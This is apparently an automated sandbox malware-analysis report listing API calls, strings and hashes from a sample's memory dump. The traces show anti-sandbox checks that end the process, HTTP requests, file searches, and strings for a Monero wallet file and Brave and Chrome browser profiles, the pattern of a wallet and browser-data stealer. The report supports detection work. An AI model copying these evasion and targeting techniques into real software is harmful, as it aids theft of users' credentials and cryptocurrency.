Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01054228), ref: 009398BA
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01054258), ref: 009398D2
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01054150), ref: 009398EA
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,010540D8), ref: 00939903
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01058E10), ref: 0093991B
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01046260), ref: 00939933
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,010461E0), ref: 0093994C
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01054198), ref: 00939964
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,010540C0), ref: 0093997C
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01054168), ref: 00939995
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01054180), ref: 009399AD
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,01046360), ref: 009399C5
Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,010541B0), ref: 009399DE

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 009211D0: ExitProcess.KERNEL32 ref: 00921211

Part of subcall function 00921160: GetSystemInfo.KERNEL32(?), ref: 0092116A
Part of subcall function 00921160: ExitProcess.KERNEL32 ref: 0092117E

Part of subcall function 00921110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0092112B
Part of subcall function 00921110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00921132
Part of subcall function 00921110: ExitProcess.KERNEL32 ref: 00921143

Part of subcall function 00921220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0092123E
Part of subcall function 00921220: __aulldiv.LIBCMT ref: 00921258
Part of subcall function 00921220: __aulldiv.LIBCMT ref: 00921266
Part of subcall function 00921220: ExitProcess.KERNEL32 ref: 00921294

Part of subcall function 00936770: GetUserDefaultLangID.KERNEL32 ref: 00936774

Part of subcall function 00921190: ExitProcess.KERNEL32 ref: 009211C6

Part of subcall function 00937850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009211B7), ref: 00937880
Part of subcall function 00937850: RtlAllocateHeap.NTDLL(00000000), ref: 00937887
Part of subcall function 00937850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0093789F

Part of subcall function 009378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00937910
Part of subcall function 009378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00937917
Part of subcall function 009378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0093792F

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01058DD0,?,0094110C,?,00000000,?,00941110,?,00000000,00940AEF), ref: 00936ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00936AE8
CloseHandle.KERNEL32(00000000), ref: 00936AF9
Sleep.KERNEL32(00001770), ref: 00936B04
CloseHandle.KERNEL32(?,00000000,?,01058DD0,?,0094110C,?,00000000,?,00941110,?,00000000,00940AEF), ref: 00936B1A
ExitProcess.KERNEL32 ref: 00936B22

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 23d53686c421a099530d7605b2400d9eaad1fe3cef2b0cf4c4578b4596ff5d9a
Instruction ID: b6b62bcc899827b610d373a46db5e5e54431e5814be17349b3397882e9da346a
Opcode Fuzzy Hash: 23d53686c421a099530d7605b2400d9eaad1fe3cef2b0cf4c4578b4596ff5d9a
Instruction Fuzzy Hash: 6F31EA71904218AADB04FBF0DC56BFEB778AF94740F104528F252B61D2DFB46A05CEA6

Function 00921220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0092123E
__aulldiv.LIBCMT ref: 00921258
__aulldiv.LIBCMT ref: 00921266
ExitProcess.KERNEL32 ref: 00921294

Strings

@, xrefs: 00921233

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 2d48f73a616f3938f3ef741aaae2483ff9c7d969e1c900d047eea4ea5b767058
Instruction ID: fb94158911af60d249a33222a9458c5277eab56b3bdf02719890630fcd7e796a
Opcode Fuzzy Hash: 2d48f73a616f3938f3ef741aaae2483ff9c7d969e1c900d047eea4ea5b767058
Instruction Fuzzy Hash: 65016DB0D44308FBEF10DBE0EC49BAEBB78AB54701F208048F705B62C4DBB855518B99

Function 00936AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01058DD0,?,0094110C,?,00000000,?,00941110,?,00000000,00940AEF), ref: 00936ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00936AE8
CloseHandle.KERNEL32(00000000), ref: 00936AF9
Sleep.KERNEL32(00001770), ref: 00936B04
CloseHandle.KERNEL32(?,00000000,?,01058DD0,?,0094110C,?,00000000,?,00941110,?,00000000,00940AEF), ref: 00936B1A
ExitProcess.KERNEL32 ref: 00936B22

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 6ad6ba146417ef1a82b4017f0b72f668193b5d26f2160cd91efb88704dc55b98
Instruction ID: 3e4d4b5a08a8701ed34ffe7308417933103ebcf4a75ff3e387d4aad05d562b63
Opcode Fuzzy Hash: 6ad6ba146417ef1a82b4017f0b72f668193b5d26f2160cd91efb88704dc55b98
Instruction Fuzzy Hash: 35F03A30944209BAEB00ABA0DC16BBDBA74EB44701F108914F503E61C1CBF45940DE56

Function 009247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00924839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00924849

Strings

<, xrefs: 009247C9

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: fe9153437144bae6157982e279cc2853901b16c9562f9217eae8f8856e9f83a3
Instruction ID: 1dd9e5688ae9b2bcf4b80db3d188437ea6ee05673642509a33ef269169053f36
Opcode Fuzzy Hash: fe9153437144bae6157982e279cc2853901b16c9562f9217eae8f8856e9f83a3
Instruction Fuzzy Hash: 78215EB1D01209ABDF10DFA4E855BDE7B79FB45320F008625F955AB2C0EB706A09CF91

Function 009351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 00926280: InternetOpenA.WININET(00940DFE,00000001,00000000,00000000,00000000), ref: 009262E1
Part of subcall function 00926280: StrCmpCA.SHLWAPI(?,0105E790), ref: 00926303
Part of subcall function 00926280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00926335
Part of subcall function 00926280: HttpOpenRequestA.WININET(00000000,GET,?,0105EAD0,00000000,00000000,00400100,00000000), ref: 00926385
Part of subcall function 00926280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009263BF
Part of subcall function 00926280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00935228

Strings

ERROR, xrefs: 00935273
ERROR, xrefs: 0093521A

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 6444a29d127700d06ee15015929f3a4b9c1018b2b2ae58fdfcad15332cfe58e7
Instruction ID: b6949e24f61cb7ddd7e12444cef3b64a59d3c97198afd726b15b8f25461b8c54
Opcode Fuzzy Hash: 6444a29d127700d06ee15015929f3a4b9c1018b2b2ae58fdfcad15332cfe58e7
Instruction Fuzzy Hash: C7110C31910148ABCB14FF64DD92FED7378AF90300F804558F95A5B592EF34AB06CE92

Function 00921110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0092112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00921132
ExitProcess.KERNEL32 ref: 00921143

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a4f673ccab7396b8d9afa148c50024c5e84fdf98005584cf7980fb6ced6e43d9
Instruction ID: 7ab0dfb2bf2fd12ef19502ed5a070f6baa9eb7a7c611b63f9c4794c912cce1f3
Opcode Fuzzy Hash: a4f673ccab7396b8d9afa148c50024c5e84fdf98005584cf7980fb6ced6e43d9
Instruction Fuzzy Hash: ABE0E670985308FBEB106BA0AC0AB197678AB04B01F104154F709771D5DAF92A509A99

Function 009210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 009210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 009210F7

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7bb5ea39fac9841338571596f1e2ebf5423e401d4eba31f9e6855556ddd91aca
Instruction ID: 2305d3bb32cc39764018fde19265fa43d29b56821256c0f521c884dc6257fdc8
Opcode Fuzzy Hash: 7bb5ea39fac9841338571596f1e2ebf5423e401d4eba31f9e6855556ddd91aca
Instruction Fuzzy Hash: 33F0E271681318BBEB149AA4AC59FBBB7ECE705B15F301848F504E3280D972AE00CAA0

Function 00921190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00937910
Part of subcall function 009378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00937917
Part of subcall function 009378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0093792F

Part of subcall function 00937850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009211B7), ref: 00937880
Part of subcall function 00937850: RtlAllocateHeap.NTDLL(00000000), ref: 00937887
Part of subcall function 00937850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0093789F

ExitProcess.KERNEL32 ref: 009211C6

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: b415cdfc92e17db00bedcc8899f6d90c581e57cc0a06de9292630c9b53b72875
Instruction ID: 1d8f83bd390acee0f21894f8fd31844a64ee707968b09b0f40de293fd252e24d
Opcode Fuzzy Hash: b415cdfc92e17db00bedcc8899f6d90c581e57cc0a06de9292630c9b53b72875
Instruction Fuzzy Hash: 80E012B591430953CE1073F4BC4BB2B369C5B64345F040425FA09E3153FEA9F8208D66

Non-executed Functions

Function 009338B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009338CC
FindFirstFileA.KERNEL32(?,?), ref: 009338E3
lstrcat.KERNEL32(?,?), ref: 00933935
StrCmpCA.SHLWAPI(?,00940F70), ref: 00933947
StrCmpCA.SHLWAPI(?,00940F74), ref: 0093395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00933C67
FindClose.KERNEL32(000000FF), ref: 00933C7C

Strings

%s\%s\%s, xrefs: 00933A4A
%s\%s, xrefs: 0093397A
%s\%s, xrefs: 00933A6F
%s%s, xrefs: 00933AAD
%s\*, xrefs: 009338C0

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 77c64638ad123684aedec5e94c4137ad0afa85e23bec3ac5d2b65c8ef7768b74
Instruction ID: 2668918b4789cbd1045a465e0e54749fd994adb1a62bc797954c4b8a4219a7b7
Opcode Fuzzy Hash: 77c64638ad123684aedec5e94c4137ad0afa85e23bec3ac5d2b65c8ef7768b74
Instruction Fuzzy Hash: F3A100B19402189BDB24DFA4DC85FEE7379BB98300F048598F64DA7181EB759B84CF62

Function 0092BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

FindFirstFileA.KERNEL32(00000000,?,00940B32,00940B2B,00000000,?,?,?,009413F4,00940B2A), ref: 0092BEF5
StrCmpCA.SHLWAPI(?,009413F8), ref: 0092BF4D
StrCmpCA.SHLWAPI(?,009413FC), ref: 0092BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0092C7BF
FindClose.KERNEL32(000000FF), ref: 0092C7D1

Strings

\Brave\Preferences, xrefs: 0092C1DB
Google Chrome, xrefs: 0092C634
Brave, xrefs: 0092C102
Preferences, xrefs: 0092C11E

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
